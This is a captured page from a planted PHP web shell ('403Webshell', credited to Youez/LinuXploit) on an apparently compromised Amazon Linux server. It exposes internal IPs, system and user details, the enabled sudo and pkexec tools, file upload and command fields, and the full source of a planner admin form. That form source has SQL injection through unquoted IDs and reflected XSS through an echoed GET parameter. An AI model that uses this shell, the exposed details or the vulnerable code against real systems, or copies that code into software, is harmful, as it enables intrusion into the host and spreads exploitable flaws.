403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/admin/mod/text_form.php
<!DOCTYPE html>
<script type="text/javascript" src="../ckeditor/ckeditor.js"></script>
<?php
	include('_form_header.php');
	$form_error = 0;
	$form_text_key_error = '';
	//echo 'Submitted '.$_POST['Submitted'];
	//exit();
	if ($_POST['Submitted'] == '1')
	{
		$form_id = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['ID']));
		$form_text_key = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['text_key']));
		$form_text_type = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['text_type']));
		$form_text_string = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['text_string']));
		if ($form_text_key == '')
		{
			$form_error = 1;
			$form_text_key_error = 'Text Key must be non-blank!';
		}
		if ($form_error != 1)
		{
			if ($_GET['ACTION'] == 'edit')
			{
				$sql = "UPDATE texts 
						SET text_key = '".$form_text_key."'".
							",text_type = '".$form_text_type."'".
							",text_string = '".$form_text_string."'".
							",update_user = '".$_SESSION['admin_user_name']."'".
							",update_timestamp = '".date("Y-m-d H:i:s")."'".
						"WHERE ID = ".$form_id;
				mysqli_query($GLOBALS['con'], $sql);
			}
			else
			{
				$sql = "INSERT INTO texts (text_key, text_type, text_string, update_user, update_timestamp) VALUES (".
							"'".$form_text_key."'".
							",'".$form_text_type."'".
							",'".$form_text_string."'".
							",'".$_SESSION['admin_user_name']."'".
							",'".date("Y-m-d H:i:s")."')";
				mysqli_query($GLOBALS['con'], $sql);
			}
			if (mysqli_error($GLOBALS['con']) != '')
				echo 'SQL:  '.$sql.'<BR />Database Error - '.mysqli_error($GLOBALS['con']).'<BR />';
			else
			{
				echo 'Update successful';
				echo "<SCRIPT>";
				echo "window.parent.location.href = window.parent.location.href;";
				echo "</SCRIPT>";
			}
			exit();
		}
	}
	else
	{
		if ($_GET['ACTION'] == 'edit')
		{
			$key_id = mysqli_real_escape_string($GLOBALS['con'], trim($_GET['KEYID']));
			$sql = "SELECT * FROM texts WHERE ID = ".$key_id;
			$result = mysqli_query($GLOBALS['con'], $sql);
			if (mysqli_num_rows($result) < 1)
				die('Database error!  Record not found, Key ID:  '.$key_id);
			$row = mysqli_fetch_array($result);
			$form_id = $row['ID'];
			$form_text_key = $row['text_key'];
			$form_text_type = $row['text_type'];
			$form_text_string = $row['text_string'];
		}
		else
		{
			$form_id = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['ID']));
			$form_text_key = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['text_key']));
			$form_text_type = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['text_type']));
			if ($form_text_type == '') :
				$form_text_type = 'Plain';
			endif;
			$form_text_string = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['text_string']));
		}
	}
?>

<div class="form-header">
	Text record detail - <?php echo $_GET['ACTION'] ?>
</div>

<form name="frmDetail" id="frmDetail" method="post" action="text_form.php?ACTION=<?php echo $_GET['ACTION'] ?>" >
	<input type="hidden" id="Submitted" name="Submitted" value="1"  >
	<input name="ID" id="ID" value="<?php echo $form_id; ?>" type="hidden">
	<table border="0" cellspacing="3" cellpadding="0" style="text-align:left;" >
		<tr>
			<td>
				<div style="width:120px;">
				</div>
			</td>
			<td>
				<div style="width:390px;">
				</div>
			</td>
			<td>
				<div style="width:180px;">
				</div>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Text Key:
			</td>
			<td>
				<input type="text" id="text_key" name="text_key" value="<?php echo $form_text_key; ?>" class="input-box" style="width:300px;" size="75" maxlength="100" >
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_text_key_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Text Type:
			</td>
			<td>
				<?php //echo radio_boxes('text_type', 'Plain, HTML', $form_text_type); ?>
				<input type="radio" <?php if ($form_text_type == 'Plain') echo 'checked="checked"'; ?> value="Plain" name="text_type" id="text_type_plain" onclick="CKEDITOR.instances.text_string.destroy();" >Plain
    			<br />
				<input type="radio" <?php if ($form_text_type == 'HTML') echo 'checked="checked"'; ?> value="HTML" name="text_type" id="text_type_html" onclick="CKEDITOR.replace('text_string');" >HTML
			</td>
			<td valign="top" class="error_text">
				<?php echo '&nbsp;' ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top" colspan="3">
				Text Editor:
			</td>
		</tr>
		<tr valign="middle">
			<td colspan="3">
				<textarea id="text_string" name="text_string" class="input-box" style="width:750px;" rows="15" cols="80"><?php echo $form_text_string; ?></textarea>
			</td>
			<script type="text/javascript">
				//alert($('#text_type_html').attr('checked'));
				if ($('#text_type_html').attr('checked'))
				{
					CKEDITOR.replace( 'text_string' );
				}
			</script>
		</tr>
		<tr valign="middle">
			<td colspan="3" align="center">
				<br />
				<input type="submit" name="btnSubmit" value="Save" class="default-button" >
				&nbsp;&nbsp;&nbsp;
				<input type="button" name="btnCancel" value="Cancel" class="default-button" onClick="resetForm();" />
				<br />
			</td>
		</tr>
	</table>
</form>

<?php include('_form_footer.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit